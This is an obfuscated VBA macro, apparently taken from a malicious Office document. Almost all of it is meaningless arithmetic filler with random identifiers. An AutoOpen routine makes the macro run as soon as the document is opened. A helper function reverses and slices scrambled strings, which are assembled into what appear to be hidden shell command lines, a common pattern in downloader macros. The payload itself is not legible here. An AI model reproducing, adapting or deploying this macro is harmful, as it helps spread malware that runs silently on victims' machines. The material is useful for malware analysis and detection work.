PfFAOjIUii = (WsKNJCiMRaT) + yHBjksbJKSUgsssd("f7RwpqsrlwGwGrh6ujzpUNuAsTWwcM% tesOBSssPhhp3B", 12, 10)
quaJTLFJI = (5352800 - CDbl(2657752 + JQltKrhJCjDsRT / ifCvtoYNcW * Hex(8943118)) - 477740 + CByte(wRdRNdXOjzhNOQ))
GSVpnjIkaST = (8583195 - CDbl(4708123 + pfMqriC / UKlDJWPolMl * Hex(1130136)) - 7406305 + CByte(ovPwiUifXf))
NooVajR = (7925109 - CDbl(2481110 + PpFEjbktSlL / aRYcEHScK * Hex(8198307)) - 3295092 + CByte(szhwonGNwp))
onuXkQl = (TizjUZNE) + yHBjksbJKSUgsssd("ERz16plzE3LWiJKpc4NKhAwRQpnvOL9KStTuEdZb% tes&&s=%StpuEKVDdmzw", 2, 30)
DjKwKvpr = (1914612 - CDbl(550319 + XWkWYYdM / tmFffzdkRYw * Hex(9283125)) - 1211935 + CByte(aZUGYUqiolTi))
EHiCQhjiwAd = (8334312 - CDbl(2409987 + baCvQkPf / fFvYmlGXRiJzE * Hex(3350621)) - 1077542 + CByte(tPzTMwGQRpztA))
XJlkha = (7948252 - CDbl(617269 + udbSYSr / fvRID * Hex(4198350)) - 4507903 + CByte(wDXVSL))
bMMbOU = (kWKDYID) + yHBjksbJKSUgsssd("kEsAobq4waXrBpZD1F6fUtKCKUzFIEc6j9vBjrLWHRpT=%ozEwXuooFAoLOXFb", 3, 25)
UzECWkQ = (3446600 - CDbl(7772180 + wRhtiwtTtMuQSY / dFTwUJkwwXXO * Hex(656646)) - 264914 + CByte(KfwPaKzE))
BUmAzkJnak = (3923486 - CDbl(5396670 + TZPcdVrqUIcVUn / VjVKkpS * Hex(5483220)) - 249021 + CByte(RDwifAwU))
wfVllPAwoGT = (4590892 - CDbl(8207459 + hVuBWNh / hJicNo * Hex(2733637)) - 6854102 + CByte(rGAwNM))
tlILifUwFnQ = (CapmTbXuoQfzNv) + yHBjksbJKSUgsssd("jU8UztTvZju0l9JiwaFaOjtoaw% tes&&wo=%kobUAWSmYkhD% tes&&p=%ivjHtpZdaX% tes&&bspfTzpNZkGNhZ", 15, 62)
YlYLwAMcMm = (7158475 - CDbl(8114133 + QpcRpNTJ / idBsBDJhfLA * Hex(116673)) - 1619404 + CByte(idPdu))
nDTZzi = (1230110 - CDbl(4854051 + HVWqoXiGnUEta / asRPwFuZpRI * Hex(7891600)) - 9661393 + CByte(ZkZCIqWjWKOl))
tWzXj = (571339 - CDbl(4843364 + fwOZvCXLi / TzifFi * Hex(9978259)) - 4914278 + CByte(jDvBljNuVHALC))
mckiQooq = (wBoNbJNclTTGna) + yHBjksbJKSUgsssd("fbrNIrntzPsSwU%!!%iuzqjtMTWwcM%!!%StpuEKVDdmz%!!%JSbVqt", 2, 44)
VNbzzGIkzum = zizMiKvRSq + bMMbOU + tlILifUwFnQ + qwrWYiGmu + hQHDWABVoM + ojmrF + onuXkQl + iGTciuU + PfFAOjIUii + STTziYIntz + mckiQooq + JkKtqKiA
VBKUtPDlB = (4696953 - CDbl(8899525 + otnBQbPLMsUkv / phICEiwRbj * Hex(4065728)) - 7101367 + CByte(kWFffBHwqZsF))
flzqdhZZP = (4941069 - CDbl(4158246 + zTPuWRGjfm / pGNpjnjwHP * Hex(9416518)) - 4822671 + CByte(zbwzvLZKAcfLl))
MZZSMZsGJ = (6849642 - CDbl(3092673 + qmjaNMCuWvvSH / UNTodiizaGZp * Hex(668857)) - 4554814 + CByte(mpriIEZqknQ))
End Function

Attribute VB_Name = "IsbpHToU"
Function jjlwmcLwtMVzZB()
On Error Resume Next
jjzhu = (996313 - CDbl(6800387 + RZRYOkn / zlzKUvrH * Hex(2165063)) - 8628762 + CByte(IDrGzqHKEokC))
cvmVdiUzaS = (1746876 - CDbl(6099718 + rrfNXKoBILSCT / brSFQaMZTSiH * Hex(4955947)) - 6883453 + CByte(NinicDAbzV))
ihHCHC = (5832089 - CDbl(4003180 + jvhon / czRzsFjRY * Hex(2582394)) - 5944967 + CByte(kEYvciXr))
iVJVTdsjVjI = (SFwPMokTwdw) + yHBjksbJKSUgsssd("niioBviKbfdPlUpd dPzzYIVf", 8, 12)
wWhwtibI = (7310912 - CDbl(5324415 + TFtQdnT / QwkAh * Hex(9455140)) - 2479891 + CByte(zWbAcl))
tmQQjSt = (9109310 - CDbl(6304953 + szqjwvwAABisph / EhcXT * Hex(1340095)) - 9617551 + CByte(YnZZKamhKMTkoc))
HfbYnFkLqzT = (3805664 - CDbl(3565796 + mAhvi / KpZwuIX * Hex(2583238)) - 8024124 + CByte(BRvYVoZOTUfVw))
jjzSuLVamLH = (HfvluZv) + yHBjksbJKSUgsssd("dKE^p^S^mo^RZHiEGFOFCmibdWBlt", 19, 9)
NZskPrAAKZi = (4900775 - CDbl(7475472 + ipmKYtizbScNip / KTjwAjjdwbWJl * Hex(543579)) - 8862768 + CByte(uhjrHbRpQ))
mFEFLwDEzzJ = (8527209 - CDbl(6804020 + wacqasaLLb / SuLnjCktvhvi * Hex(6255873)) - 417826 + CByte(ljCqhHwEfYwjjt))
NwiXHq = (5428444 - CDbl(6730697 + SuNwvni / fzozCsvncHrI * Hex(3907402)) - 8739206 + CByte(WqfPkVBzSw))
TlijM = (qZPklir) + yHBjksbJKSUgsssd("HIGJmcpkhqjLmLiKZiOGLCzFXYzOcUfvYdB", 30, 2)
mpwNWw = (8419669 - CDbl(4868738 + rFPXwRiz / zTcKzaRvo * Hex(3340689)) - 8346566 + CByte(NkCjhduNh))
YtQCkk = (4651111 - CDbl(8399069 + VwwZXVkXJmHKD / sjUplahudVNoQ * Hex(7798906)) - 6824435 + CByte(nbbmoCdsXTjT))
KhtLCaURp = (2357060 - CDbl(5143433 + rjokOtsmRI / SbLjEwoYzj * Hex(6716073)) - 3162033 + CByte(pDcRR))
fHbccU = (djCsGmka) + yHBjksbJKSUgsssd("MjUNPZzlFWhwz    V/   Ypz", 4, 9)
SjOWKidQS = (1738292 - CDbl(3057754 + uLQaVXttPip / csSfEsYlrF * Hex(108905)) - 9156334 + CByte(DJjtbwMssJ))
uvQNVRDjkR = (1998114 - CDbl(5283674 + TmkTUUqM / rMIXDkitoKVw * Hex(3404977)) - 2562070 + CByte(znldjkj))
razkQL = (1639911 - CDbl(826460 + ZlBXljERQSW / EscOwUzGXBZZ * Hex(3756506)) - 6263784 + CByte(NdCIDEniwcV))
XjHTsZ = (NkCjoOkfobw) + yHBjksbJKSUgsssd("vCmXuvC uAnjNcwfpmmkuS", 15, 6)
sBnnNZuz = (803424 - CDbl(951656 + roOKShQNildQVp / AilFzpMHQsvFc * Hex(1347121)) - 7286377 + CByte(RwjYr))
WHmwhAK = (7312632 - CDbl(7008961 + jTfWkHwmI / XhpzHIfj * Hex(9579181)) - 3371587 + CByte(boGsjLSpR))
cwZMTKicK = (161085 - CDbl(2806636 + QYdKpXIuIzIjE / SqYtKoS * Hex(9512138)) - 1052622 + CByte(YiBvfzrSIn))
DEnjDjGr = (OjsAVlPIwLXMb) + yHBjksbJKSUgsssd("jZTwzNYBQPhw     & POBNhniu", 5, 11)
tjGiQNbs = (3587732 - CDbl(9801507 + LWNPLGpbQorM / EBzwibzBqi * Hex(432925)) - 657129 + CByte(TciMFIiLdnb))
DwPRULzuAq = (1487168 - CDbl(804195 + pvXiCPqTp / flrzlVrKLi * Hex(7513216)) - 2583769 + CByte(EjjhPaNXoiEJF))
dctmwkh = (3612216 - CDbl(9264439 + nqAnHjURfZIvRw / kcCTzTias * Hex(5239247)) - 667418 + CByte(HmpfCvKXomZlX))
zZjRu = (XoWtcRXqabT) + yHBjksbJKSUgsssd("HTpQLAqbjRrfliTOU BK", 3, 1)
BKoizP = (3091923 - CDbl(1507386 + DqNipuG / GYlzC * Hex(3239872)) - 9164537 + CByte(BjkaJzwCSHd))
TJwRLGZMI = (523346 - CDbl(9704278 + SYiNihCnMv / RAUTWfl * Hex(776755)) - 2426279 + CByte(ZfhCGrKLiRD))
Ufvji = (400966 - CDbl(5383706 + MSoiOi / UoOswij * Hex(9229326)) - 5363896 + CByte(wlwsszKbprbdi))
qbnmini = (UhCzwjF) + yHBjksbJKSUgsssd("UMsM%cMsnAGuAfjzNntzLqrzqzjUlcuR", 27, 2)
NoJrvziAQ = (1914854 - CDbl(2507538 + PGZEQdNUVd / YqmqJF * Hex(5531579)) - 4711615 + CByte(crkoIHhn))
AZodjcm = (236105 - CDbl(5809886 + RcQLXEDzvBmiNv / niPhNilw * Hex(9777388)) - 4604156 + CByte(lvIvZTqdp))
iAhAQaNYV = (9141104 - CDbl(5109135 + TEBddOqJXs / TDYTQRjfRnBTI * Hex(8121833)) - 11262 + CByte(TrjGVNDvcL))
ZbLqEYzvG = (piRFrTK) + yHBjksbJKSUgsssd("IkIZXC%  QmnnXJuTqUZOzpPp", 17, 4)
WjpNlnGiS = (7599197 - CDbl(5613998 + XRnmVGzcrENX / IYCZDBIZTRXwGD * Hex(3097968)) - 5764347 + CByte(SQfulzLHiisZI))
BEoEW = (4131810 - CDbl(9754978 + RAOPMpmVODzP / PCjwAmwsDXbrR * Hex(4148831)) - 3627063 + CByte(zLwYKoDB))
lQCXERrD = (2833891 - CDbl(5761844 + iJfhzvRSfI / HiCtOcnXuT * Hex(3737082)) - 1005114 + CByte(rDrfbzi))
ODLoXWrzL = (EprBzaMJPJnRlt) + yHBjksbJKSUgsssd("mdUDzWkjfzJFcZLmL LIWGWnIGHWqjoiLZMi", 18, 16)
mwHojaVqs = (8257445 - CDbl(6754944 + LERpuE / rjarkZkKqnKb * Hex(9052262)) - 3313555 + CByte(wqnqUNAZUsn))
zBntj = (157793 - CDbl(1312589 + GzirMKHjjT / mHjnDPorfGaC * Hex(737269)) - 6866958 + CByte(rHGzzYdjj))
QvjbpikO = (7520130 - CDbl(5240280 + iGYRKUCiGQl / dzJbXfzf * Hex(1589211)) - 7687682 + CByte(AahWPIbz))
VPADiBYG = (YENWRaaO) + yHBjksbJKSUgsssd("AzwIr          RNYIVHFKRWjGBwDmYJXVbCbsaqoo", 29, 10)
jpbzd = (806236 - CDbl(7943545 + bumYrdznZfQlnz / XViPPdGVtikLZ * Hex(9996458)) - 1413048 + CByte(vKjELzhw))
rKYTXuXZ = (7614243 - CDbl(7066312 + cmJjCYD / fapZSUYsuGSYn * Hex(3424055)) - 2524558 + CByte(aHthYojbi))
ssKKiKZk = (3139416 - CDbl(5808953 + kuhmVIbsGlO / nGnrVMaKZnJ * Hex(9081721)) - 5955579 + CByte(SrqNuBqpH))
wzSwCjAwjr = (QiBBSaVqWzPBI) + yHBjksbJKSUgsssd("iuZbZIYtMIjpFcTlnHDrRs       zkirV", 6, 7)
YzafoOBCBV = (1472351 - CDbl(9883582 + kBtqMswwnRqJv / EZUCVbAq * Hex(9588151)) - 1446361 + CByte(LWfLNmXDpG))
AjJtEn = (3722637 - CDbl(4119394 + jRwTNaPIuzFXRk / XpuDlOAVSnZf * Hex(3547259)) - 1172953 + CByte(OlDVVE))
EVqETwNoWCM = (5968764 - CDbl(6253474 + XrTQXanwCl / zMPjkfvijnv * Hex(9489787)) - 519326 + CByte(lTTwOisJRjtu))
ZFPjTbb = (SqTJwlm) + yHBjksbJKSUgsssd("vUc/     RBQGffpPXd", 11, 7)
jjlwmcLwtMVzZB = TlijM + iVJVTdsjVjI + ODLoXWrzL + XjHTsZ + DEnjDjGr + ZbLqEYzvG + jjzSuLVamLH + qbnmini + wzSwCjAwjr + fHbccU + ZFPjTbb + VPADiBYG + zZjRu
jwrzdchaG = (385901 - CDbl(4148322 + kpIAAobu / cmGUAoCm * Hex(8147522)) - 8961384 + CByte(pqvwmjKTQch))
jwzLYZsIc = (978505 - CDbl(9911567 + HLkfcninQH / iuuMOTiIiouD * Hex(1624437)) - 3970680 + CByte(PcuhSdqMolCA))
hfloRbLVR = (5861721 - CDbl(2595060 + pzwVoNHcLn / BtipInhFa * Hex(2291703)) - 3640582 + CByte(ctAcbwzXlPQsUj))
End Function

Attribute VB_Name = "pYYzKbs"
Sub AutoOpen()
On Error Resume Next
VOcUMirPz = (4045694 - CDbl(8080817 + VrzCzc / htKdLowLwYAQ * Hex(3415392)) - 4165079 + CByte(wXrkYzZPqqmCw))
WIlZwDXUK = (7224339 - CDbl(3307919 + OWtrwEYkdtb / PEpIdUm * Hex(4887405)) - 7319428 + CByte(oqmaSOwWnmaDKd))
jXslNRUdj = (5124367 - CDbl(1939807 + NOqqwruOiCFXm / mHGpkL * Hex(8924164)) - 2409102 + CByte(GbBLUfLJLQ))
Application.Run "fLQmmcqVbSJ", DhkYmSWAUbok
XAjfwniJv = (9028679 - CDbl(5679968 + UzEfMWrq / zBmkOzjZjWstGO * Hex(1782583)) - 550003 + CByte(KBBCwRwnHB))
HpSpSVSXz = (9433801 - CDbl(9007838 + qCjMYkYNluc / LpovBjnwHwYk * Hex(3195868)) - 6299398 + CByte(XoqJFhdLwT))
msOOtQMNh = (5705189 - CDbl(5591689 + XWPJzZudwvr / BZukWD * Hex(6683654)) - 5728601 + CByte(bOqZiOjMXiDzr))
End Sub
Function yHBjksbJKSUgsssd(ByVal zzRjqqltdaJdU As String, UwSsQbOatpj, McwWTMtjqzui)
    yHBjksbJKSUgsssd = Mid(StrReverse(zzRjqqltdaJdU), UwSsQbOatpj, McwWTMtjqzui)
End Function